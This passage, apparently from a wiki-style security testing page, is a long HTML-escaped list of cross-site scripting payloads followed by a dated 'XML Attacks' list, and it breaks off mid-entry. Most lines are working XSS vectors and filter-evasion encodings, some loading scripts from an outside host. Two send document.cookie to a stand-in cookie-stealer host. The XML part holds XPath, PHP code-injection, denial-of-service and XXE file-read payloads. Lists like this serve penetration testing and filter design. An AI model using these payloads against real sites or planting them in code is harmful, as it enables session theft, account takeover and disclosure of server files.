&quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM 